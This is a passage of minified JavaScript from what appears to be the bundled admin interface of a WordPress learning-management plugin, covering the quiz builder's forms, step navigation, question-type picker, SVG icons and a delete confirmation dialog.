0===t?void 0:t.name,courseLink:Pt.courses.edit.replace(":courseId",a)}),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement("form",{onSubmit:r.handleSubmit((e=>C(e)))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(nm.t,null,l().createElement(Tm.w,{justifyContent:"center",borderBottom:"1px",borderColor:"gray.100"},l().createElement(Um.o,{sx:f},(0,E.__)("Info","learning-management-system")),l().createElement(Um.o,{sx:f},(0,E.__)("Questions","learning-management-system")),l().createElement(Um.o,{sx:f},(0,E.__)("Settings","learning-management-system"))),l().createElement(Wm.T,null,l().createElement(Km.K,{px:"0"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Aw,null))),l().createElement(Km.K,{px:"0"},l().createElement(at,{status:"error"},l().createElement(g.E,{fontWeight:"bold"},(0,E.__)("Add Quiz first ","learning-management-system")),l().createElement(g.E,null,(0,E.__)("In order to add questions, you need to add a quiz first.","learning-management-system")))),l().createElement(Km.K,{px:"0"},l().createElement(pw,null)))),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:w.isPending},(0,E.__)("Add New Quiz","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>i({pathname:Pt.courses.edit.replace(":courseId",a),search:"?page=builder"})},(0,E.__)("Cancel","learning-management-system"))))))))))):l().createElement(gw,null)};var fw=e=>"questions"===e?1:"settings"===e?2:0;const hw=e=>{var{defaultStep:t,quizId:n}=e,r=(0,vt.Zp)(),{search:i}=(0,vt.zy)(),{courseId:o}=(0,vt.g)(),{page:s}=M.A.parse(i),{control:m,setValue:c}=(0,Je.xW)(),u=(0,Je.FH)({control:m,name:"activeQuizStep",defaultValue:t||fw(s)}),d=[{title:(0,E.__)("Info","learning-management-system"),description:null,onClick:()=>{r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n))},icon:ni},{title:(0,E.__)("Questions","learning-management-system"),description:null,onClick:()=>r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n)+"?page=questions"),icon:ai},{title:(0,E.__)("Quiz Settings","learning-management-system"),description:null,onClick:()=>r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n)+"?page=settings"),icon:wa}],g=e=>e===u;return(0,a.useEffect)((()=>{c("activeQuizStep",t||fw(s))}),[c,s,t]),l().createElement(Xr.C,{index:u,gap:"3",py:2,bg:"white",borderRadius:"md",w:"md",mx:"auto",mb:6},d.map(((e,t)=>l().createElement(Yr.p,{key:t,cursor:"pointer",role:"group",onClick:()=>{e.onClick(),c("activeStep",t,{shouldValidate:!1})},gap:2},l().createElement(Zr.S,{border:"none",sx:{bg:"whisper-gray !important"},boxSize:"9",_groupHover:u!==t?{border:"1px",borderColor:"primary.500"}:{}},l().createElement($e.I,{as:e.icon,fontSize:"18px",fill:g(t)?"primary.500":"gray.700",_groupHover:{fill:"primary.500"}})),l().createElement(Qe.a,{flexShrink:0},l().createElement($r.J,{color:g(t)?"primary.500":"urban-ash",fontSize:"sm",fontWeight:"medium"},e.title),e.description&&l().createElement(ei.T,null,e.description)),l().createElement(ti.m,{sx:{minWidth:"46px !important",height:"1px !important",bg:"smoke-gray !important"},_groupHover:{bg:"gray.200 !important"}})))))};const bw=e=>{var{defaultValue:t,QuizName:n,data:r,isDrafted:i,isPublished:o,methods:s,onSubmit:m}=e,[c,u]=(0,a.useState)(t),[d,g]=(0,a.useState)(""),{setValue:A}=(0,Je.xW)(),p=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);u(t),A("description",t),g(e)}),[A]),y=[{label:(0,E.__)("Preview","learning-management-system"),action:()=>{var e;return window.open(null==r||null===(e=r.data)||void 0===e?void 0:e.preview_link,"_blank")},variant:"tertiary"},{label:i&&i()?(0,E.__)("Save to Draft","learning-management-system"):(0,E.__)("Switch To Draft","learning-management-system"),action:null==s?void 0:s.handleSubmit((e=>m&&m(e,"draft"))),isLoading:null==r?void 0:r.isLoading,variant:"secondary"},{label:o&&o()?(0,E.__)("Update","learning-management-system"):(0,E.__)("Publish","learning-management-system"),action:null==s?void 0:s.handleSubmit((e=>m&&m(e))),isLoading:null==r?void 0:r.isLoading,variant:"primary"}];return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:"3"},l().createElement(Ge.l,{mb:0},(0,E.__)("Quiz Description","learning-management-system")),l().createElement(Li,{title:null!=n?n:"",onContentCreated:p,elementId:"mto-quiz-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-quiz-description",name:"description",defaultValue:c,height:100}):l().createElement(l().Fragment,null,l().createElement(Ei,{defaultValue:c,actions:y,name:"description",id:"mto-quiz-description",blockAiContent:d})))};const ww=e=>{var{methods:t,isLoading:n,onSubmit:a,quizStatus:r}=e,i=(0,Jr.A)(["sm","md"]),o=()=>!(!r||"publish"!==r);return l().createElement(l().Fragment,null,l().createElement(p.$,{variant:"outline",colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"draft"},e))}))},r&&"draft"===r?(0,E.__)("Save Quiz To Draft","learning-management-system"):o()?(0,E.__)("Switch Quiz To Draft","learning-management-system"):(0,E.__)("Save Quiz To Draft","learning-management-system")),l().createElement(p.$,{size:i,colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"publish"},e))}))},o()?(0,E.__)("Update Quiz","learning-management-system"):(0,E.__)("Publish Quiz","learning-management-system")))};const Cw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",width:260,height:216,fill:"none",viewBox:"0 0 260 216",role:"img"},e),React.createElement("path",{fill:"#EBEBEB",d:"M260 179.552H0v.13h260zM233.95 187.922h-17.223v.13h17.223zM172.235 189.333h-4.52v.13h4.52zM216.206 183.094h-9.979v.13h9.979zM49.738 183.967h-22.46v.13h22.46zM57.66 183.967h-3.293v.13h3.293zM117.075 186.163H68.363v.13h48.712zM123.247 156.361H22.835a2.97 2.97 0 0 1-2.968-2.968V12.248a2.97 2.97 0 0 1 2.968-2.968h100.412a2.97 2.97 0 0 1 2.967 2.968v141.145a2.97 2.97 0 0 1-2.967 2.968M22.835 9.411a2.84 2.84 0 0 0-2.838 2.838v141.145a2.84 2.84 0 0 0 2.838 2.838h100.412a2.84 2.84 0 0 0 2.837-2.838V12.248a2.84 2.84 0 0 0-2.837-2.838zM235.722 156.361H135.311a2.97 2.97 0 0 1-2.967-2.968V12.248a2.97 2.97 0 0 1 2.967-2.968h100.411a2.97 2.97 0 0 1 2.969 2.968v141.145a2.97 2.97 0 0 1-2.969 2.968M135.311 9.411a2.84 2.84 0 0 0-2.837 2.838v141.145a2.84 2.84 0 0 0 2.837 2.838h100.411a2.84 2.84 0 0 0 2.839-2.838V12.248a2.84 2.84 0 0 0-2.839-2.838z"}),React.createElement("path",{fill:"#E6E6E6",d:"M150.639 71.215h71.646V24.297h-71.646z"}),React.createElement("path",{fill:"#F0F0F0",d:"M148.451 71.215h72.811V24.297h-72.811z"}),React.createElement("path",{fill:"#E6E6E6",d:"M150.639 80.423h71.646v-9.208h-71.646z"}),React.createElement("path",{fill:"#F0F0F0",d:"M144.811 80.423h72.81v-9.208h-72.81z"}),React.createElement("path",{fill:"#FAFAFA",d:"M218.203 68.155V27.356h-66.689v40.798z"}),React.createElement("path",{fill:"#fff",d:"m203.165 68.156-8.518-40.798h-13.292l8.518 40.798z"}),React.createElement("path",{fill:"#F0F0F0",d:"M216.785 65.109a.22.22 0 0 0 .219-.219V29.35a.219.219 0 0 0-.438 0v35.54c0 .12.099.219.219.219"}),React.createElement("path",{fill:"#fff",d:"m187.016 68.156-8.517-40.798h-5.183l8.519 40.798z"}),React.createElement("path",{fill:"#E6E6E6",d:"M151.902 68.155V27.356h-.388v40.798z"}),React.createElement("path",{fill:"#EBEBEB",d:"M147.73 31.973h71.647l.281-3.425h-71.646zM147.73 37.589h71.647l.281-3.425h-71.646zM147.73 43.206h71.647l.281-3.425h-71.646zM147.73 48.823h71.647l.281-3.425h-71.646zM147.73 54.44h71.647l.281-3.424h-71.646zM147.73 60.058h71.647l.281-3.425h-71.646z",opacity:.6}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 145.432h-15.022v2.962h15.022zM168.641 179.553h2.773v-68.154h-2.773z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 148.393h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 161.639h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 164.6h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 113.018h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 115.979h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 129.225h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 132.186h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M206.582 179.553h2.773v-68.154h-2.773z"}),React.createElement("path",{fill:"#F5F5F5",d:"M194.203 179.553h2.774v-68.154h-2.774zM159.035 179.553h2.774v-68.154h-2.774z"}),React.createElement("path",{fill:"#E6E6E6",d:"M33.998 179.552h28.38v-55.064h-28.38z"}),React.createElement("path",{fill:"#FAFAFA",d:"M41.575 179.552h-7.579v-7.602H49.52z"}),React.createElement("path",{fill:"#E6E6E6",d:"M111.377 179.552h28.381v-55.064h-28.381z"}),React.createElement("path",{fill:"#FAFAFA",d:"M33.997 176.936h83.995v-52.448H33.997z"}),React.createElement("path",{fill:"#FAFAFA",d:"M110.415 179.552h7.578v-7.602h-15.524z"}),React.createElement("path",{fill:"#F0F0F0",d:"M39.876 157.157h72.237v-13.125H39.876zM39.876 173.087h72.237v-13.125H39.876z"}),React.createElement("path",{fill:"#FAFAFA",d:"M53.606 145.435h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38"}),React.createElement("path",{fill:"#F0F0F0",d:"M39.876 141.227h72.237v-13.126H39.876z"}),React.createElement("path",{fill:"#FAFAFA",d:"M53.606 129.504h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38M53.606 161.366h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38"}),React.createElement("path",{fill:"#E6E6E6",d:"M38.514 71.215h71.646V24.297H38.514z"}),React.createElement("path",{fill:"#F0F0F0",d:"M36.33 71.215h72.811V24.297h-72.81z"}),React.createElement("path",{fill:"#E6E6E6",d:"M38.514 80.423h71.646v-9.208H38.514z"}),React.createElement("path",{fill:"#F0F0F0",d:"M32.686 80.423h72.81v-9.208h-72.81z"}),React.createElement("path",{fill:"#FAFAFA",d:"M106.078 68.156V27.358h-66.69v40.798z"}),React.createElement("path",{fill:"#fff",d:"m91.04 68.156-8.518-40.798H69.231l8.518 40.798z"}),React.createElement("path",{fill:"#F0F0F0",d:"M104.66 65.109a.22.22 0 0 0 .219-.219V29.35a.219.219 0 0 0-.438 0v35.54a.22.22 0 0 0 .219.219"}),React.createElement("path",{fill:"#fff",d:"m74.891 68.156-8.518-40.798h-5.182l8.519 40.798z"}),React.createElement("path",{fill:"#E6E6E6",d:"M39.777 68.156V27.358h-.388v40.798z"}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 31.973h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 33.905h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 35.837h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 37.769h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 39.7h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 41.633h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#F5F5F5",d:"M49.926 122.807h2.476V95.199h-2.476z"}),React.createElement("path",{fill:"#FAFAFA",d:"M50.246 122.787h.7V95.179h-.7zM51.238 122.788h.274V95.18h-.274z"}),React.createElement("path",{fill:"#F0F0F0",d:"M41.996 124.489h18.337a2.31 2.31 0 0 0-2.31-2.31H44.306a2.31 2.31 0 0 0-2.31 2.31M46.712 112.338a.715.715 0 0 0 .713-.713V93.524a.715.715 0 0 0-.713-.713.715.715 0 0 0-.712.713v18.101c0 .392.32.713.712.713"}),React.createElement("path",{fill:"#E0E0E0",d:"M40.078 101.761h22.174l-2.55-15.495H42.628z"}),React.createElement("path",{fill:"#F5F5F5",d:"M129.998 203.037c55.683 0 100.822-2.636 100.822-5.888s-45.139-5.888-100.822-5.888-100.822 2.636-100.822 5.888 45.14 5.888 100.822 5.888"}),React.createElement("path",{fill:"#407BFF",d:"m67.077 89.851-.518.038.69 9.589.519-.037zM68.132 104.387l-.519.038.26 3.607.519-.037zM188.552 148.507H77.19c-2.519 0-4.728-2.061-4.91-4.579L66.81 67.94c-.182-2.519 1.73-4.58 4.25-4.58H182.42c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579"}),React.createElement("path",{fill:"#407BFF",d:"M188.978 148.507H77.616c-2.519 0-4.728-2.061-4.91-4.579L67.236 67.94c-.182-2.519 1.73-4.58 4.25-4.58h111.362c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579"}),React.createElement("path",{fill:"#fff",d:"M188.978 148.507H77.616c-2.519 0-4.728-2.061-4.91-4.579L67.236 67.94c-.182-2.519 1.73-4.58 4.25-4.58h111.362c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579",opacity:.5}),React.createElement("path",{fill:"#407BFF",d:"M183.013 65.65H71.651q-.189 0-.373.015c-2.847.235-2.265 4.565.608 4.565h111.552c2.873 0 2.831-4.33-.05-4.565a5 5 0 0 0-.375-.015"}),React.createElement("path",{fill:"#FAFAFA",d:"M74.552 67.94a.964.964 0 0 1-.975 1.05c-.58 0-1.083-.47-1.125-1.05a.964.964 0 0 1 .974-1.05c.58 0 1.084.47 1.126 1.05M78.122 67.94a.964.964 0 0 1-.974 1.05c-.58 0-1.084-.47-1.126-1.05a.964.964 0 0 1 .975-1.05c.58 0 1.083.47 1.125 1.05M81.693 67.94a.964.964 0 0 1-.975 1.05c-.58 0-1.083-.47-1.125-1.05a.964.964 0 0 1 .974-1.05c.58 0 1.084.47 1.126 1.05"}),React.createElement("path",{fill:"#fff",d:"M186.025 140.924H79.475c-.916 0-1.713-.744-1.78-1.66l-4.5-62.49a1.524 1.524 0 0 1 1.542-1.66h106.549c.917 0 1.714.742 1.78 1.66l4.5 62.49a1.525 1.525 0 0 1-1.541 1.66"}),React.createElement("path",{fill:"#fff",d:"m141.132 117.119-1.734-24.086-5.256-3.164h-14.458l1.962 27.25z"}),React.createElement("path",{fill:"#407BFF",d:"M141.134 117.371h-19.486a.25.25 0 0 1-.251-.234l-1.963-27.25a.252.252 0 0 1 .252-.27h14.458q.07 0 .13.037l5.256 3.163c.07.042.115.116.121.197l1.734 24.086a.25.25 0 0 1-.067.19.25.25 0 0 1-.184.081m-19.252-.504h18.981l-1.706-23.686-5.083-3.06h-14.118z"}),React.createElement("path",{fill:"#EBEBEB",d:"m139.401 93.033-5.256-3.164 1.929 4.191z"}),React.createElement("path",{fill:"#407BFF",d:"M136.072 94.312a.25.25 0 0 1-.228-.147l-1.93-4.19a.252.252 0 0 1 .359-.322l5.255 3.164a.25.25 0 0 1 .12.246.25.25 0 0 1-.175.21l-3.326 1.028a.3.3 0 0 1-.075.01m-1.358-3.805 1.495 3.247 2.577-.796zM127.841 102.146a1.01 1.01 0 0 1-1.022 1.101 1.2 1.2 0 0 1-1.179-1.101 1.01 1.01 0 0 1 1.021-1.101c.608 0 1.137.493 1.18 1.101M134.982 102.146a1.01 1.01 0 0 1-1.021 1.101 1.203 1.203 0 0 1-1.181-1.101 1.01 1.01 0 0 1 1.022-1.101c.608 0 1.137.493 1.18 1.101M136.999 109.285a.25.25 0 0 1-.251-.234c-.128-1.77-2.903-3.21-6.188-3.21-2.176 0-4.13.647-5.099 1.689-.431.463-.631.962-.593 1.485a.252.252 0 0 1-.503.036c-.047-.659.204-1.303.726-1.865 1.062-1.141 3.157-1.849 5.469-1.849 3.603 0 6.542 1.616 6.691 3.677a.254.254 0 0 1-.234.27zM123.784 99.916a.253.253 0 0 1-.186-.423l1.105-1.19a.252.252 0 0 1 .37.343l-1.104 1.19a.25.25 0 0 1-.185.08M136.481 99.916a.25.25 0 0 1-.172-.067l-1.276-1.19a.252.252 0 1 1 .344-.369l1.276 1.19a.253.253 0 0 1-.172.436M118.113 122.503h1.175l1.696 2.254-.162-2.254h1.186l.293 4.073h-1.186l-1.687-2.236.162 2.236h-1.184zM122.833 124.542q-.072-.998.444-1.554.516-.555 1.508-.555 1.017 0 1.606.546t.66 1.529q.053.714-.156 1.171a1.54 1.54 0 0 1-.643.711q-.436.255-1.114.255-.689 0-1.156-.22a1.9 1.9 0 0 1-.782-.695q-.316-.474-.367-1.188m1.259.005q.044.617.293.887.249.269.643.269.405 0 .609-.264t.154-.948q-.042-.574-.293-.84a.85.85 0 0 0-.648-.265q-.38 0-.592.269-.211.27-.166.892M129.5 122.503h1.87q.553 0 .904.15t.594.43.369.653q.127.373.157.789.048.653-.076 1.013-.122.36-.369.603-.246.243-.543.323a2.8 2.8 0 0 1-.742.112h-1.87zm1.325.922.16 2.226h.308q.395 0 .555-.087a.54.54 0 0 0 .24-.306q.079-.218.043-.707-.047-.648-.275-.886-.228-.24-.717-.239h-.314zM136.411 125.903h-1.429l-.15.672h-1.285l1.237-4.073h1.373l1.824 4.073h-1.318zm-.324-.881-.556-1.464-.339 1.464zM137.41 122.503h3.826l.072 1.006h-1.283l.221 3.067h-1.259l-.221-3.067h-1.283zM144.169 125.903h-1.429l-.15.672h-1.285l1.237-4.073h1.373l1.824 4.073h-1.318zm-.325-.881-.554-1.464-.34 1.464z"}));const xw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",width:20,height:20,fill:"none",viewBox:"0 0 20 20",role:"img"},e),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.333,d:"M3.334 7.334h13.333a1 1 0 0 1 1 1v8.333a1 1 0 0 1-1 1H3.334a1 1 0 0 1-1-1V8.334a1 1 0 0 1 1-1"}),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.333,d:"M8.426 11.05c.127-.35.377-.645.707-.833a1.66 1.66 0 0 1 1.095-.194c.377.062.72.253.965.537.247.284.382.644.381 1.015 0 1.049-1.62 1.573-1.62 1.573M10 15h.006"}),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeWidth:1.333,d:"M6.852 2.5h6.296M4.49 4.861h11.02"}));var Sw=(0,a.createContext)({submitQuestionDisabled:!1});const Bw=e=>{var{children:t}=e,[n,r]=(0,a.useState)(!1),i=(0,a.useMemo)((()=>({submitQuestionDisabled:n,setSubmitQuestionDisabled:r})),[n,r]);return l().createElement(Sw.Provider,{value:i},t)};const Iw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#af6ded",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM16.831 15.367c-.2.206-.347.461-.428.741l-.401 1.392h-.652a.29.29 0 0 1-.267-.178c-.316-.652-1.219-.829-1.738-.387l-.366-1.138a.63.63 0 0 0-.6-.449.63.63 0 0 0-.599.449l-.48 1.494a.29.29 0 0 1-.279.209h-.326a.43.43 0 0 0-.422.438.43.43 0 0 0 .422.437h.326a1.14 1.14 0 0 0 1.079-.807l.28-.872.442 1.38c.027.082.076.154.142.207s.145.085.229.091l.029.001a.42.42 0 0 0 .377-.242l.202-.419c.073-.153.209-.17.264-.17s.191.016.268.179c.194.402.584.652 1.017.652h1.664v1.313H9.43V8.315h4.213v2.843c0 .364.281.656.632.656h2.739v2.133l1.264-1.301v-2.037c0-.347-.136-.684-.373-.93l-2.209-2.293A1.24 1.24 0 0 0 14.803 7H9.43c-.697.003-1.263.591-1.263 1.315v11.373c0 .724.566 1.312 1.263 1.312h7.582c.698 0 1.266-.588 1.266-1.312v-2.057l3.546-3.707-1.788-1.856zm6.306-3.792-.839-.871a.653.653 0 0 0-.948 0l-.718.745 1.788 1.856.717-.745a.715.715 0 0 0 0-.985m-8.231-3.153 2.004 2.08h-2.004z"}));const Ow=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 26 26",role:"img"},e),React.createElement("path",{d:"M26 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v20c0 1.656 1.344 3 3 3h20c1.656 0 3-1.344 3-3z",style:{fill:"#e75050"}}),React.createElement("path",{d:"M11.333 5.5h-5a.833.833 0 0 0-.833.833v5a.833.833 0 0 0 .833.834h5a.84.84 0 0 0 .59-.244.84.84 0 0 0 .244-.59v-5a.833.833 0 0 0-.834-.833m-.833 5H7.167V7.167H10.5zm4.167 1.667h5a.833.833 0 0 0 .833-.834v-5a.833.833 0 0 0-.833-.833h-5a.833.833 0 0 0-.834.833v5c0 .221.088.433.244.59a.84.84 0 0 0 .59.244m.833-5h3.333V10.5H15.5zm-10 12.5a.833.833 0 0 0 .833.833h5a.833.833 0 0 0 .834-.833v-5a.84.84 0 0 0-.244-.59.84.84 0 0 0-.59-.244h-5a.833.833 0 0 0-.833.834zM7.167 15.5H10.5v3.333H7.167zm6.666 4.167a.833.833 0 0 0 .834.833h5a.833.833 0 0 0 .833-.833v-5a.833.833 0 0 0-.833-.834h-5a.84.84 0 0 0-.59.244.84.84 0 0 0-.244.59zM15.5 15.5h3.333v3.333H15.5z",style:{fill:"#fff",fillRule:"nonzero"}}));const Pw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#ff9066",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM4.667 21h17.5v-2h-17.5zm9.911-5.606a.6.6 0 0 0 .14-.017l2.311-.578a.6.6 0 0 0 .268-.152L24.4 7.545a1.15 1.15 0 0 0 0-1.634l-.916-.917a1.184 1.184 0 0 0-1.634 0l-7.103 7.103a.6.6 0 0 0-.152.268l-.578 2.311a.573.573 0 0 0 .561.718m1.099-2.593 5.256-5.256.917.916-5.257 5.256-1.221.305zm6.99-6.99.916.917-.916.916-.917-.916z"}));const Dw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 18 18",role:"img"},e),React.createElement("path",{d:"M18 2.077A2.08 2.08 0 0 0 15.923 0H2.077A2.08 2.08 0 0 0 0 2.077v13.846C0 17.069.931 18 2.077 18h13.846A2.08 2.08 0 0 0 18 15.923z",style:{fill:"#1ccc5b"}}),React.createElement("path",{d:"M10.5 13.42c1.606-.705 2.732-2.236 2.732-4.099S12.106 5.928 10.5 5.223v.911a3.7 3.7 0 0 1 1.821 3.187 3.7 3.7 0 0 1-1.821 3.188z",style:{fill:"#fff",fillRule:"nonzero"}}),React.createElement("path",{d:"M10.5 7.045v4.553c.558-.501.911-1.47.911-2.277 0-.806-.353-1.775-.911-2.276m-5.464 4.553h1.228l2.617 1.745a.457.457 0 0 0 .708-.379V5.679a.455.455 0 0 0-.707-.379L6.264 7.045H5.036a.91.91 0 0 0-.911.91v2.733c0 .502.408.91.911.91m0-3.643h1.366c.015 0 .028-.007.042-.008a.5.5 0 0 0 .173-.053c.012-.007.026-.008.038-.015l2.024-1.35v5.585l-2.024-1.35c-.012-.008-.026-.009-.038-.015a.5.5 0 0 0-.174-.053c-.014-.001-.027-.008-.041-.008H5.036z",style:{fill:"#fff",fillRule:"nonzero"}}));const _w=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 18 18",role:"img"},e),React.createElement("path",{d:"M18 2.077A2.08 2.08 0 0 0 15.923 0H2.077A2.08 2.08 0 0 0 0 2.077v13.846C0 17.069.931 18 2.077 18h13.846A2.08 2.08 0 0 0 18 15.923z",style:{fill:"#ff4d4d"}}),React.createElement("path",{d:"M11.826 7.158a.91.91 0 0 0-.911-.91H5.451a.91.91 0 0 0-.911.91v4.554c0 .502.409.911.911.911h5.464a.91.91 0 0 0 .911-.911v-1.518l1.821 1.518V7.158l-1.821 1.518zm-.91 4.554H5.451V7.158h5.464l.001 2.277h-.001l.001.001z",style:{fill:"#fff",fillRule:"nonzero"}}));const kw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 26 26",role:"img"},e),React.createElement("path",{d:"M26 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v20c0 1.656 1.344 3 3 3h20c1.656 0 3-1.344 3-3z",style:{fill:"#3ad0ae"}}),React.createElement("path",{d:"M9.905 16.095H7.274l3.946 3.947V6.887H9.905zm3.946-9.208v13.155h1.316v-9.209h2.631z",style:{fill:"#fff",fillRule:"nonzero"}}));var Qw=[{value:"true-false",label:(0,E.__)("True False","learning-management-system"),icon:Tv},{value:"single-choice",label:(0,E.__)("Single Choice","learning-management-system"),icon:Uv},{value:"multiple-choice",label:(0,E.__)("Multiple Choice","learning-management-system"),icon:vi},{value:"text-answer",label:(0,E.__)("Text Answer","learning-management-system"),icon:Iw,isProPlan:!0},{value:"matching",label:(0,E.__)("Match the Following","learning-management-system"),icon:Ow,isProPlan:!0},{value:"fill-in-the-blanks",label:(0,E.__)("Fill in the blanks","learning-management-system"),icon:Pw,isProPlan:!0},{value:"audio",label:(0,E.__)("Audio","learning-management-system"),icon:Dw,isProPlan:!0},{value:"video",label:(0,E.__)("Video","learning-management-system"),icon:_w,isProPlan:!0},{value:"sortable",label:(0,E.__)("Sortable","learning-management-system"),icon:kw,isProPlan:!0}];const zw=e=>{var{isOpen:t,onClose:n,onSelectType:a,disabledQuestionType:r}=e;return l().createElement(h.aF,{isOpen:t,onClose:n,size:"4xl",isCentered:!0},l().createElement(f.m,null),l().createElement(b.$,{py:"6"},l().createElement(w.r,{pb:"2",pt:"0"},(0,E.__)("Select Question Type","learning-management-system")),l().createElement(C.s,null),l().createElement(x.c,null,l().createElement(Do.c,{mb:"6",border:"1px",color:"#DEDEDE"}),l().createElement(ht.r,{columns:{base:1,sm:2,md:3},minChildWidth:"200px",spacing:"20px"},Qw.map((e=>{var{value:t,label:n,icon:i,isProPlan:o}=e,s=r===t||o;return l().createElement(Ze.z,{key:t,align:"center",px:"2.5",shadow:"sm",borderWidth:"1px",borderRadius:"sm",py:"3",cursor:s?"not-allowed":"pointer",onClick:()=>{a&&!s&&a(t)},pointerEvents:s?"none":"auto",_hover:{bgColor:"#F8F9FA"},rounded:"base"},l().createElement(ft.s,{flex:r===t?1:void 0,alignItems:"center",gap:2,opacity:s?.5:1},l().createElement(vu,{icon:i,background:"transparent"}),l().createElement(ke.D,{fontSize:"md",fontWeight:"semibold"},n)),o&&l().createElement(yl,null),r===t&&l().createElement(bt.y,{size:"sm"}))}))))))};var qw=n(61186);const Fw=e=>{var{onClose:t,onDeleteConfirm:n,isLoading:r,heading:i,isOpen:o,dialogBody:s,size:m="md"}=e,c=(0,a.useRef)();return l().createElement(Ke.Lt,{isCentered:!0,isOpen:o,leastDestructiveRef:c,onClose:t,size:m},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,i),l().createElement(x.c,null,s||(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{onClick:t,variant:"outline",ref:c},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:n,isLoading:r},(0,E.__)("Delete","learning-management-system")))))))};var jw=n(81556),Vw=n(44079),Lw=n(12131);const Mw=e=>{var t,{answer:n,index:a,onDeletePress:r,onDuplicatePress:i,onCheckPress:o}=e,{control:s,register:m}=(0,Je.xW)(),c=(0,Je.FH)({name:"answers.".concat(a,".correct"),control:s});return 